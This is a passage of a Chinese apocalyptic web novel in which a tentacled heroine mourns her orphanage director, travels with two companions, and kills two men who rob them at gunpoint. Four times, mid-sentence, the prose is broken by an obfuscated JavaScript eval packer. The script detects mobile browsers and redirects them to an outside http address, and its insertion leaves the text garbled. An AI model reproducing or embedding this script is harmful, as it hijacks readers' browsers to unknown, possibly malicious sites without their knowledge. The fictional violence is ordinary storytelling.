单说他刚刚表现出的对怪物的了解程度,就已经有些不自然了;她也不是瞎子,早就看出来郁仪对她有些好感,但在她眼中,就连这份没来由的好感都显得有些诡异。 ……等等。 电光石火间,黎望舒又从脑海深处中挖出了一件被她忽略的事——将方向盘交给郁仪后,她坐在副驾打算做人肉导航,在必要的时候为他指引路线,但后来却完全把这个初衷抛在了脑后……因为郁仪就像早知道孤儿院的位置似的,该转弯时完全没有犹豫,一路顺畅地开到了目的地。 这件事单拎出来没什么可说的:这个县城不大,郁仪可能是本地人,熟悉这附近的路线并不是一件特别奇怪的事;但种种因素综合在一起,让她忍不住开始怀疑。 ——眼前这只怪物,难道真的是郁仪杀的?如果答案是肯定的,他又是在什么时候来到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794246|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的? 一瞬间,黎望舒脑中思绪百转千回,但此刻并不是刨根问底的好时机。 她站起身来,甩掉触手尖端残留的粘腻感,下身粗壮的触肢一弹,越过了那滩腐烂物,“继续前进吧。” 杜蕊捏着鼻子站在腐烂物前面,犹豫许久也没能踏出一步,正在左右为难的时候,身边突然刮过一股冷风。 她缩着脖子回头一看,只见郁仪足尖在地上轻轻一点,卷着飘飞的气流,轻轻落在了腐烂物另一侧的台阶上;随着气流散去,他脑后高高束起的黑发柔顺地散落在肩上,如玉的优越侧脸半掩在黑暗中,整个人宛如一副上好的水墨画卷——如果这家伙站定后没有居高临下地瞪她一眼,杜蕊可能也会赞他一句美人。 看着他毫不留恋的冰冷背影,杜蕊被愤怒冲昏了头脑,咬着牙向前大踏了一步,然后不偏不倚地踏进了那滩尸体的正中心……冰凉滑腻的触感甚至灌进了脚腕。 “唔……”她身体僵住,脸色发青,伸手捂住嘴唇,喉咙口又涌起了熟悉的灼烧感。 -- 回头把陷在腐烂物里动弹不得的杜蕊拎了出来,黎望舒总算真正踏上了二楼的地板。 两边的走廊都隐没在黑暗中,她回想着卧室的方位,身体刚转向左边,右侧走廊尽头突然传来了一道巨大的撞击声,走廊里的声控灯闪烁几下后,亮了起来。 “谁在那里!” 黎望舒低喝出声,目光不经意扫过地面,胸口骤然生出一股窒息感—— 不时闪烁着的微弱灯光下,一道发黑发暗、甚至接近黑红的干涸血痕从走廊尽头延伸过来,一直延伸到他们身后,中断在怪物烂得不成样子的尸体之下。 ……这是谁的血? 黎望舒脑袋里一片混乱,不敢去想,更不愿去想。她压下胸中的焦躁,握紧了手中的手电,顺着那道黑红血痕,缓缓向走廊深处游去。 走廊尽头的一扇窄门前,熟悉的身影耷拉着眼皮半靠在门边,胸腹间血淋淋地,被撕咬出了一个巨大的血洞——看到这一幕时,她的心情出乎意料地平静,胸口像是有大石落下,甚至还有闲心牵起唇角,说了句“果然如此”;但回头触到杜蕊含着泪的目光时,她又猛然间发觉,自己的喉咙干涩得一句话也说不出来,刚刚发生的一切都像是她的幻觉。 “望舒,你、你别吓我……”杜蕊泪水在眼眶里打转,往前挪了几步,小心翼翼地牵住了她的手,“那个……难过的话就哭出来吧,你不是孤身一人,还有我们在你身边呢。” 指尖传来一股暖意,黎望舒用力回握回去,又笑起来:“没事的。” 杜蕊睁大双眼,看起来还想说什么,但近在咫尺的地方突然又传来了一声巨响——这回黎望舒听得分明,声音是从杨院长背后的门里发出来的,像是有人在里面拍门。 头顶灯光闪烁,她温柔地推开了杜蕊的手,独自将杨院长的尸体妥善抱到一边后,手轻轻搭在了冰冷的门把手上,“……有谁在里面吗?” 8. 第 8 章 “……有谁在里面吗?” 黎望舒侧耳倾听,但房间里无人应答,一片寂静。 她试着扭动把手,发出了轻微的“咔哒”声,房间里的东西听到动静,立刻兴奋起来,又撞上了门板,力道非常大,她搭在把手上的手被震得微微发麻。 ……里面的不是人类。 视线下移,看着从门缝里渗出的暗红血迹,黎望舒在心中做出了判断。 如果房间里关着的是怪物,杨院长为什么要守在门前?孩子们又去了哪里? 本以为事情不会变得更糟了……黎望舒的一颗心又开始缓缓下沉。 黎望舒抬眼,与郁仪交换了一个眼神,他无声点头,伸手将杜蕊带远了些。 她面无表情地靠在门边,触手悄无声息地伸长、再伸长,一层又一层地盘在门外,密密匝匝地结成了一张大网,末端灵活的触手尖卷上了门把手,用力向下一压—— 一刻也等不及似的,里面的东西急不可耐地从门缝中挤出来,像一大团史莱姆,略微有些透明的表皮包裹着内里殷红的内脏组织,落入了触手结成的大网中。 没去管身边那团挣扎着的透明怪物,黎望舒踏入了昏暗的房间,支在地板上的触手底部传来粘稠的拉力,浓重的血腥气扑鼻而来。她伸手去摸旁边的电灯开关,但摸了半天也没能摸到,反而沾了一手的冰凉滑腻。 身后昏黄的声控灯闪了闪,灭掉了,周身完全陷入一片浓黑,黎望舒动了动手指,终究没有按开手电筒的开关。 ……其实,就算不看,她也明白这里发生了什么。 这个房间,原先是孩子们的阅读室,面积不大,书籍大多来自社会人士的捐赠与杨院长的自费购入。她小时候不讨人喜欢,被其他小朋友孤立,所以经常一个人窝在这里,只要沉浸在故事中,就能暂时忘记一切不开心的事。 杨院长总是在这种时候出现在她面前,并不简单粗暴地劝她出去和别的孩子一起玩,而是坐在她身边,陪着她一起看书,时不时从将书中的故事引申到现实,引导着她思考如何处理人际关系;在杨院长潜移默化的影响下,她学会了如何正常与人打交道——现在想来,福利院中让杨院长操心最多的,恐怕就是她这个难对付的小孩了吧。 那时,杨院长还没有那么多白发,脸上时常挂着温和的笑容,大家都亲切地称呼她为“院长妈妈”,独她性子倔,感情也淡薄,始终开不了口,直到离开福利院时仍生硬地喊着“院长”。杨院长也不在意她的冷淡,几乎将她当成了自己的亲生女儿,每次见到她时,脸上都会露出惊喜的笑容,每次看到那笑容,她都能感受到,这世间还有人发自内心地爱着她。 回想起与杨院长相处的点点滴滴,她心生温暖的下一个瞬间,脑中不可避免地闪过了那张沾满血迹的空洞面孔——两张一模一样却又截然不同的面容重叠在一起,让她的指尖与脊背止不住地发冷,心中升起了巨大的恐慌感。 杨院长多半是想将孩子们保护起来,才把他们关进了阅读室,自己一人留在外面对抗怪物……但她一定没想到,一起被关进去的,还有一只潜伏在人体之中的凶残怪物。 回忆寸寸粉碎,留下的只有无尽的空虚。 “哒。” 身后传来鞋跟落地的声响,声控灯闪烁着亮起,将她的背影勾勒拉长,投在一片狼藉的阅读室中。 黎望舒一惊,从回忆中抽离出来——也许是她沉默得太久,杜蕊一脸担忧地凑近了,一双大眼湿润地望着她,像只可怜巴巴的垂耳狗;杜蕊身后,郁仪抱剑倚在墙边,半张脸掩在阴影中,像是早就预料到什么似的,眸光低低地落在地上,用力握在剑鞘上的指节泛着青白。 ……不知何时,那只圆形的透明怪物被她的触手绞成了两段,破破烂烂地在地上化成了一滩,水母似的,身体中的红色脏器蜿蜒地在地面上流淌。 “别过来。”意识到自己的语气有些冷硬,黎望舒立刻放缓了语气,轻描淡写地交代状况,“这里已经没有活口了,我们接下来找个地方过夜。” 杜蕊止住脚步,乖巧地点头。 回身最后望了一眼,黎望舒轻轻拉上了那道窄门,将地狱般惨烈的景象封在门后。 “望舒,你的手受伤了?”杜蕊瞟到了什么,惊讶地问。 黎望舒一怔,翻开手掌——掌心黏糊糊地,一片浓艳的血色,再次提醒她这里曾经发生过什么。 看着那片血迹,没来由地,她感到一阵心悸。 -- “哈啊……太困了。” 昏暗的房间里,杜蕊窝在被子里,打了个哈欠,将自己缩成一团,“我要睡了……” 她声音越来越低,转瞬间就没了动静。 “小蕊?”黎望舒倚在窗边的单人沙发上,唤了一声,但床上那团被子一动不动,只有微小的呼吸声传出,她不由得弯了弯眼,“今天确实走了很久,累着了吧。” 尽管还有没做完的事,但夜色已深,杜蕊困得差点从楼梯上跌下去,黎望舒凭着记忆,在附近找到了干净的旅馆房间,打算先休息一晚。 今晚商量好了由她守夜,杜蕊早早地爬上了床,但郁仪却固执地搬了个凳子坐在她身边,一副要陪她守到天明的架势。 “还有一张床,你也去睡吧。”黎望舒催促,见他不为所动,又无奈地补了一句,“别熬了,明天还要靠你开车,我可不想死于车祸啊。” 郁仪抬眸紧盯着她,玻璃珠似的瞳孔折射着微弱的月光,抿了抿唇,突兀发问:“明天,你还会在这里吗?” “什么意思?”黎望舒不明白他想问什么。 “你会在我睡着的时候突然消失。”不知为何,他一开始用的是陈述句,顿了一下,才试探似的,换成了疑问的语气,“……会吗?” “我为什么会消失,又不是阿飘。”黎望舒挑眉,“不要为还没发生的事焦虑。” “……我也想知道为什么。”他低下头,眉毛微微蹙起,神色说不清是失落还是伤感,额边的碎发随着动作垂下,睫毛微微颤动着,看起来竟有几分脆弱。 “真不明白你到底在纠结什么。”黎望舒叹了口气,不再理会他,仰头去看窗外的夜空。 ——小县城里没多少高楼,空气质量好,雾霾也不严重,漫天星辰清晰地、璀璨地闪着光,月亮丝毫没被地面上的血腥气影响,一如既往地皎洁明亮。 无言地盯着月亮看了一会儿,黎望舒保持着仰头的姿势,突然发问:“你去过红帆福利院?” 郁仪轻轻“嗯”了一声。 “什么时候?”黎望舒追问。 “去找你之前顺路……大概在中午的时候。”被这么不轻不重地一问,郁仪就全交代了,“楼梯上那只怪物是我杀的,但那时候院长和孩子们已经……” 他没有继续说下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794247|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这样啊。”黎望舒叹息似的说道。 她反应太平淡,郁仪反而有些不安,“对不起,是我去晚了。” “人又不是你杀的,你道什么歉。”黎望舒挑眉,看着对面那人手足无措的样子,头一回觉得他有些可爱,“不如说,听了你这番话,我反而能松一口气。” “来这里的路上我一直在想,要是我能早来那么一会儿,事情会不会变得不一样……但不是这样的,有些事情从一开始就注定了结果,谁也没办法改变。”缓了一口气,她唇边带笑,接着说下去,“多亏了你,我最后的烦恼也消失了。” “不是的,没有什么事是注定会发生的……为什么你表现得这么平静?”郁仪眉头紧锁,眸中翻涌异样的情绪,罕见地有些激动,“痛的话就叫出来,伤心的话就要哭出来,你总是这样,不信任身边的同伴,一味地压抑自己,什么也不说,最后……” 他眼眶发烫,几近哽咽,只好止住话头,狼狈地低下头去,将自己的脸庞藏入黑暗中。 “总是?如果没记错的话,我们认识还不到一天吧。”被他斩钉截铁的话语冒犯到,黎望舒笑容淡去,双臂在胸前抱起,话中带刺,“事实上,我的确没那么伤心,只是有些遗憾罢了。毕竟人是脆弱的动物,终究会迎来一死,那些怪物……只是将这个进程加快了而已。” 郁仪埋着头不出声,黎望舒冷冷地盯着他看,也不说话,死一般的寂静在房间中蔓延。 突然,床上传来一声轻哼,杜蕊探出乱糟糟的脑袋,含糊地问:“你们在吵架?” “……没有,你在做梦呢。”黎望舒吸了口气,放软声音。 杜蕊不知有没有意识,模糊地“哦”了一声,又把脑袋缩回了被子里。 “……抱歉,我说过头了。”被杜蕊这么一打岔,黎望舒终于冷静下来,拿下巴点了点另一张床,“不早了,睡吧。” 郁仪沉默地站起身,脸依旧低低地埋着,快步翻身上床,一把拉过被子,蒙住了脑袋,也不动弹了。 ……这家伙,不会又哭了吧,黎望舒头痛地想。 郁仪的话听起来很刺耳,但不得不承认,他说得很对;不论对错,被这样一个认识不久、看起来还有些可疑的家伙看破了自己的真实想法,这滋味儿着实不好受。 她倚在沙发背上,静静地又望向星空,整理复杂的思绪……一夜未眠。 第二天一早,三人又回到了红帆孤儿院。 “昨天晚上,我好像梦到你们吵架了。”涂满幼稚涂鸦的围墙边,杜蕊吭哧吭哧地挥舞着铲子,“把我吓了一跳呢!” “那真是不得了。”无视了郁仪隐约投过来的目光,黎望舒冷静回答,“你觉得这锯嘴葫芦有能力和别人吵架?” “倒是确实。”杜蕊点头,又往黎望舒的方向凑了几步,小声问:“我睡着后,你们两个聊了些什么?怎么感觉你和他熟络了不少。” 再次无视了郁仪的目光,黎望舒微笑:“错觉吧。” 用力盖上了最后一铲土,黎望舒将昨晚刻好的木牌插进土堆前端,又将来时随手摘下的紫色小花摆在前面。 ——红帆福利院院长杨秀云之墓。 黎望舒弯腰,伸手摩挲了一下那块粗糙的木牌,轻轻地留下了一句话;一阵风吹过,卷走了那朵紫色小花,那句话也轻飘飘地融在了风中—— “永别了,院长妈妈。” 9. 第 9 章 黑色越野车平稳地行驶在高速路上,车轮轧过一颗小石子,颠簸了一下。 车窗外阳光明媚,黎望舒从睡梦中醒来,打了个哈欠,眼角溢出生理性的泪水,“……这里是?” “哎呀,你也有睡糊涂的时候啊。”杜蕊笑眯眯地凑了过来,伸手捧住了她睡得温热的脸颊,“我们正在往江城走呢。” 被她冰凉的手一激,黎望舒顿时清醒了不少。 清晨,将杨院长葬下后,他们讨论了许久也没有决出下一个目的地——黎望舒心愿已了,并没有特别想去的地方,郁仪铁了心地跟在黎望舒身边,也不发表意见。 最后,还是杜蕊犹豫着提出,想回位于江城的老家看看,三人这才定下了目标。 “其实,我也没那么想回去。”提起江城,杜蕊叹了口气,“实在太远了,路上要横穿两个城市,不知道会遇上多少危险……你们想反悔的话,现在还来得及。” “别纠结了,我们没打算反悔。”黎望舒好笑地拍了拍她的脑袋,“之前你不是一直嚷嚷着想出去旅游吗,眼下好不容易有机会到处走走,怎么还闷闷不乐的。” “以前和现在可不一样啊。”杜蕊又叹了口气,“真佩服你,无论什么事,想到了就能去做,行动力高得可怕,不像我,做什么都瞻前顾后的。” “谨慎也是一种美德。”黎望舒哈哈一笑。 身后突然传来一串汽车喇叭的声音。郁仪淡淡瞥了眼后视镜,转动方向盘,将车身往道路内侧压了压,一辆白色面包车从他们身侧疾驰而过,还不满足似的,仍然耀武扬威地按着喇叭,直到消失在蜿蜒盘旋的道路尽头。 驾驶座上的郁仪丝毫没受影响,表情淡漠,依旧开得平稳。 “我去,什么人啊!”杜蕊一下子来了劲,“都世界末日了,怎么还有这种人存在,要是换了我,一定要狠狠地超回去!” “你也就是嘴上说说。”黎望舒毫不留情地压灭了她的气焰。 ……一晚过去,小镇里的人们都回过味来,开始向外逃去,路上时不时地就能遇上这种向外驶去的车辆。也许是因为这附近太过荒凉,一路行来,他们并没有在高速路上碰见多少怪物,反而看到了不少野生动物。 车窗外的景色一成不变,不是层层叠叠的深绿山林,就是漆黑一片的漫长隧道。就在黎望舒又有些昏昏欲睡的时候,郁仪看了眼天色,将车停在了高速路边的一片空地上。 “饿不饿,停下来休息一会儿?”他向后偏头,低声询问。 被他这么一问,黎望舒才后知后觉地感受到了饥饿——她从早上睡到下午,错过了午饭时间,还什么都没吃过。 阳光从山与山之间的缝隙中洒下,带着融融暖意落在身上,她眯起眼睛,迎着光舒坦地伸了个懒腰,拖着步子走到后备箱前,惊讶道:“怎么多了这么多东西?” “路过杂货店的时候,郁仪搬回来的,那时你还睡着呢。”杜蕊嘿嘿一笑,满足地拍了拍后备箱里摞得满满的纸箱,“都是些饼干速食,还有成箱的矿泉水,最里头还有些常用药品,短时间内,不用为生存资源而发愁了。” 郁仪蹲在车门边,长剑斜挂在背上,支起了一张不知从哪儿带回来的小木桌。黎望舒将触手盘在凳子上,坐在矮桌前,四周是静谧的山林,面前的自热火锅腾腾冒着热气,香气钻进鼻中,身边的杜蕊被辣得斯哈出声……气氛安详,恍惚间,她竟然真的产生了错觉,仿佛这世上并不存在残忍的怪物,他们只是出门野餐的普通好友。 蒸腾的热气里,对面人的面貌变得模糊不清,想必她在对方的视野中也是如此吧。 盯着塑料碗中咕嘟的暗红汤底,不知为何,她眼眶突然有些发热,心上翻涌的伤口渐渐平息下来。 “好辣,不该把辣油全放进去的……望舒,你怎么不吃啊?”杜蕊被辣得双颊通红,说话都不利索了,还有闲情凑过来关心她。 黎望舒闭了闭眼睛,声音平稳:“……我怕烫。” 透过白色的烟幕,郁仪眸色温柔,静静地注视着对面栗色短发的女孩。 -- “哥,你看那边。” 远处的盘山公路上,一个剃着青色寸头的男子出声,将望远镜递给身边穿着西装的男人,他们身后停着一辆白色的面包车。 “是刚刚那辆越野车?车上只有三个人啊,其中两个还是女的。”西装男接过望远镜,顺着寸头手指的方位看去,喃喃低语。 “你看他们的后备箱,里面塞得满满的,估计全是吃的!”寸头在一边兴奋地说,“咱们这辆车没油了,正好把他们的抢过来!” “行,我们就在这里守着,等他们送上门来。”突然,西装男人目光锁定在一处,“呵呵,没想到在这种地方还能碰上熟人。” 他放下望远镜,摸了摸腰间的冰冷物什,嘴角勾起残忍的弧度,“真让人期待啊。” -- “望舒,你看他!”吃饱喝足,收拾垃圾时,杜蕊突然发现了新大陆似的,指着郁仪的塑料碗大声嚷嚷起来,“他居然剩饭!” 黎望舒闻声望去——的确,郁仪手中的饭盒里唯独剩下了几个翠绿的海带结,表面沾满辣油,看起来非常诱人。 “你不喜欢海带?”黎望舒意外地问。 “嗯。”郁仪难得有些窘迫,目光游移,耳根微红,“我不太喜欢海产品……不行吗?” “挑食可不好哦。”好不容易抓住了让他吃瘪的机会,杜蕊不遗余力地拱火,“而且很浪费啊,快点吃掉啦!” “但也不能勉强别人吃讨厌的东西啊,你不是也不吃青椒吗。”黎望舒想了想,向他伸出手,“我还挺喜欢海带的,你不吃的话,就让我来……” “不、不必!”郁仪喉结滚动,白皙皮肤染上红晕,猛地抓起筷子,将那两块海带结一下全塞进了口中,“唔……咳咳!” 见他呛到,黎望舒连忙递了瓶水过去。眼看着他几乎没怎么咀嚼,将口中的东西直接用水送服了下去,黎望舒皱起眉头,狐疑地盯着他瞧,“怎么了,我又没逼你吃,为什么动摇成这样。” 郁仪脸上可疑的红晕仍未散去,咯吱咯吱地捏着塑料水瓶,盯着地面不说话。 “该上车了,出发出发!”目睹了一切的杜蕊憋笑憋得辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794248|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好不容易压下了笑意,站出来打圆场,“接下来换我开车吧,胳膊已经好得差不多了。” 收拾妥当后,越野车再次启动。黎望舒窝在副驾上,身体随着车辆微微晃动着,身边的杜蕊欢快地哼着歌,羽绒服不时发出微弱的摩擦声;车辆再一次进入隧道,她又生出了些困意,拉下了前方的挡光板,昏昏沉沉地闭上双眼,直到身边传来一声疑问—— “嗯?有人堵在前面。”是杜蕊的声音。 黎望舒一下子惊醒了,伸手拨开挡光板,向前望去——前方横着一辆眼熟的白色面包车,将本就不宽的道路占去了大半,车边站着三个男人,手上没有看到明显的武器,其中为首的那个西装男人看起来有些眼熟。 再往前行驶就要撞上那几人了——杜蕊犹豫着放慢速度,远远地与那几人拉开距离,停了下来。 西装男人单手插在兜里,向身边几人使了个眼色,几人缓缓地围了过来。 “做好准备,来者不善。”黎望舒冷冷地盯了一眼逐渐靠近的西装男人,拎起腿边的铁质撬棍,回头吩咐,“郁仪跟我下车,小蕊你留在这里,他们就敢过来就开车碾过去。” ——从家里带出来的厨刀早已卷刃,从红帆福利院离开之前,她从那里的杂物房中翻出了几根撬棍和长柄铁叉,连着几柄锋利的水果小刀,一股脑全塞进了后备箱,以备不时之需。 “你们小心点啊。”杜蕊紧张地握紧了方向盘。 看见这边的二人下车,西装男子停住了脚步,与他们不远不近地保持着距离——明明是在逃亡途中,他却穿着一身板直的黑色西装,鼻梁上架着一副黑框眼镜,看起来一副温文尔雅的样子。 “哟,真巧,没想到能在这看见你啊,小黎。”他面上带笑,夸张地张开手臂,摆出了欢迎的姿势,“看到你还活着,我特别高兴……” “王部长,废话少说。”黎望舒冷淡地打断了他,“你们到底想做什么。” 她态度很差,王锐也不恼,反而缓缓地笑起来,一副成竹在胸的样子:“是,我承认,以前我对你有些严厉。但那又如何呢,我是你的上司,做那些事可都是为了磨练你、为了你好啊!” “所以呢?”黎望舒不为所动,眼神扫过他身边的几人,暗暗估算他们的战斗力。 王锐说的话,她半个字也不相信——这家伙人品十分低劣,从前在公司里,就是他带头,霸凌压榨新人取乐,逼走了一个又一个实习生,只有她无处可退,坚持到了最后。 “现在吗……前辈我遇到了点困难,需要借用你们的车子。”王锐使了个眼色,旁边膀大腰圆的寸头男人立刻目露凶光,从背后掏出了棍棒,“把手里的武器扔掉,车里那个女人也下来,我保证饶你们一命。” “真会做梦。”黎望舒冷笑一声,拎着撬棍就要冲上去;但王锐手腕一翻,反手从裤兜里掏出了一把锃亮的黑色手枪,“咔哒”一声解开保险,对准了她。 车里的杜蕊睁大双眼,收回了刚踩上油门的右脚。 “我再说一遍。”王锐脸上没了虚伪的笑容,声音因兴奋而变得尖锐,“放下武器,把车交出来!” 10. 第 10 章 一面靠山的高速公路上,两方人无言地对峙着,连空气都仿佛凝固了似的,充满一触即发的紧张感。 盯着面前黑洞洞的枪口,黎望舒面色阴沉。 以她触手刺出的速度,无法在对方开枪前绞断他的脖子——重新衡量了一遍他们之间的距离,黎望舒得出了这个结论,心又往下沉了一截。 那把枪是真是假、威力到底有多大、对方枪法如何……黎望舒不了解枪械,一切都是未知数,身后玻璃窗内是毫无防备的杜蕊,她不想、也不能去赌。 余光里,郁仪身体微偏,向她身后挪了一步,手向腰后摸去——一瞬间,黎望舒领会到了他的意图,为了掩护他的动作,立刻高声开口,将王锐的注意力引到自己身上:“你能保证,在我们照做之后,不伤害我们吗?” 王锐眯起眼睛,镜片后的目光毒蛇似的,贪婪地爬上对面女孩白皙的面庞,得意地抬起下巴:“我保证,不伤你的性命。” 他身边的寸头男人舔了舔唇,咧着嘴,不怀好意地笑起来,另一边较矮的男孩有些不忍似的,默默移开了目光。 ……恶心的家伙,死到临头了还在玩文字游戏。 肩膀被轻轻点了一下。黎望舒微微点头,抬起手上的撬棍,缓缓弯下腰,将它放在了地上;王锐的目光紧跟着那根撬棍,面上笑容逐渐扩大,又开口指挥:“让车里的女人也下来,还有……” 突然,他剩下的话卡在了喉咙里,猛然爆出了一声撕裂般的惨叫——从黎望舒身后飞出了一把小刀,刺破空气,精准地扎穿了王锐拿枪的那只手腕,鲜红的血流喷涌而出;猛烈疼痛下,他面容扭曲,跪在了地上,手指抽搐着脱了力,手枪从手中滑落下去。 “砰。” 随着一道震耳欲聋的枪声,惨叫戛然而止——王锐额头被子弹贯穿,血线顺着鼻梁流下,脸上仍带着不可置信的表情,仰面倒在地上,抽搐两下后,便不再动弹了。 ——保险解除的手枪磕在地面上,在强烈的震动之下走火了。 “老公——” 一切都发生在电光火石间,寸头男人愣愣地盯着王锐的尸体,还没反应过来发生了什么;面包车那边传来一声悲切的呼喊,一个头发散乱的女人拉开车门,怀里抱着一个婴孩,跌跌撞撞地向这边跑过来。 “咳咳……”黎望舒被地面上扬起的沙尘呛得咳嗽不止,从地上爬起来,整理好裙摆后,拍了拍身上的尘土。 郁仪预见了这次走火,从腰间甩出那柄水果刀后,便拉着她滚到了越野车后面。也许是天意,走火的手枪居然恰好射中了王锐的额头,也算是自作自受了。 “你们为什么要杀他!”黎望舒刚伸手将郁仪拉起来,身后传来了尖锐的质问声,回头一看,那个头发散乱的女人跪在王锐的尸体前,恨恨地瞪了过来。 “是我记错了吗?先动手的可是你们。”黎望舒捡起地上的手枪,并不打算辩解,似笑非笑地扫过面露恐惧的几人,看到女人怀中熟睡的婴儿时,目光顿了顿,“现在才来控诉,刚刚他用枪指着我脑袋的时候,你为什么不出声呢?” 女人面色骤然变得惨白,嘴唇颤抖着说不出话来。 “杀人的时候,就要做好被杀的觉悟。”黎望舒面色转冷,目光一转,刺向愣在一旁的寸头男人。 对上黎望舒冰凉的视线,寸头男人顿感不妙,猛地抓紧了手里的木棒,瞟了眼距离尚远的郁仪,心下一狠,大吼一声向她冲去。但木棒还没来得及挥下,就被她折了手腕,一把抓住领子,按在地上。 郁仪几步赶来,拔剑出鞘,指向寸头;那剑刃上隐隐流动着辉光,如月华般美丽,黎望舒犹豫一瞬,不舍得让它沾染污秽,于是摇了摇头,将剑推开了。 “他们几个都可以放过,唯独你不行。”黎望舒拖着他向另一侧的山崖走去,“居然主动送上门来,省了我不少力气。” “不、不要……我错了,我再也不做这种事了,放过我吧!”寸头扭动身体,竭尽全力挣扎,但始终无法从她的掌控中脱身,这才明白自己的判断错得离谱,“我哥的死是个意外,要是杀了我,你手上就真的沾上人命了!” “就算枪没走火,我也会杀了他的。”黎望舒来到山崖边,毫不拖泥带水地将他扔了下去。 惨叫声远去,在一声重物落地的声响后终结。 回到越野车旁,没再去看一旁瑟瑟发抖的两人,黎望舒压下哽在喉头的恶心感,面无表情地拉开车门,准备离开。 “对、对不起……”身后突然传来了嘶哑的声音——较矮的男孩扶着身侧泪流满面的女人,哽咽着低下了头。 车门“彭”一声关上了,随着引擎发动的声音,越野车卷起沙尘,向前驶去。 -- 深夜,远离公路的一片昏暗山林中。 越野车边,黎望舒将触手盘在小板凳上,手边搁着只剩了些汤汁的泡面桶,眯着眼睛数地上蜿蜒行进的蚂蚁。 今晚又是她独自守夜。 身后传来悉悉索索的动静,过了一会儿,身侧多了一个席地而坐的黑色影子。 “大晚上的不睡觉,出来做什么。”甚至不用回头看,她就明白了来人的身份。 “睡不着。”郁仪解开了马尾,黑发柔顺地散在肩上,末端几乎垂到了腰间,语气沉静:“有杜蕊在,我不用开车了。” 黎望舒无语地扫了他一眼——月色里,他面孔莹润得仿佛在发光,被乌黑的鬓发一衬,仿佛志怪小说里吸人精气的妖怪似的。 身侧又传来一声长长的叹息,郁仪悄悄看过去,黎望舒双眉微蹙,像是在烦恼什么。他想起黎望舒看见剑刃时透着喜爱的神色,犹豫一瞬后,手指伸到腰间,解开缚在剑鞘上的绑带,将那把通体黑色的长剑递到了黎望舒眼前,试探地问:“……要玩吗?” “要。”怕他反悔,黎望舒立刻握住了剑柄。 将剑鞘横放在“膝盖”上,她轻轻将剑刃抽出,小心地托起刃面,对着月光欣赏——剑身清亮,表面精巧的暗纹反射着银色的微光,投射在树干上,如水波般荡漾着。无论欣赏多少次,这把剑都美得让她心生摇曳。 “这把剑有名字吗?”她随口问。 出乎她意料地,郁仪摇了摇头,“无名。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794249|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“为什么?”黎望舒惊讶,“看你从不离身的样子,它对你来说应该很重要吧。” “是很重要,但……剑就是剑,我从未想过给它取名。”郁仪一时语塞,顿了顿,低声补充,“你可以随意称呼它,喜欢的话,给它起个名字也好。” “还是算了,我文学造诣不高,想不出能配得上它的好名字。”黎望舒摇头,反应过来,“况且,这是你的剑,怎么也不该轮到我来取名。” “没关系的。”郁仪低下头,耳垂上的薄红掩在黑暗中,“你取的名字,无论是什么,它都会很高兴。” 黎望舒没有接话。她将剑刃平放在膝上,垂下视线,与刃面中反射出的自己对视。 静谧深林中,偶尔传出几声虫鸣,隐约的风声与身边人轻微的呼吸声混杂在一起,让郁仪愈发紧张起来。 他身形晃了晃,身下的落叶“咔”地一声折断。被这突如其来的声响一激,他下意识说出了在嘴边吞吐已久的话:“其实……这把剑沾过人血。” 黎望舒平静地望过来。 开了个头过后,后面的话就变得顺畅了不少,郁仪眼睫一颤,磕磕绊绊地接着说:“就算沾过人血,或是怪物的血液,它也没有染上污秽,只需一甩,就又变回了干净的样子。所以……” “我明白你想说什么。”黎望舒笑了,“但我并不觉得自己做错了,或是变脏了。就像之前说过的那样,哪怕王锐没死于走火,我也会杀了他。” “在这样的乱世里,只有让自己变得心狠,才能保护好重要的人。寂静的时候,再去回忆那时候的情形,我甚至会后悔,应该做得更干净些,彻底斩草除根,才能避免后患。”她轻轻抚摸着光滑的剑刃,“只是……看着生命从自己手中流逝,那种恶心的感觉一直粘腻地留在手上,久久不散,又让我有些安心。” “安心?”郁仪问。 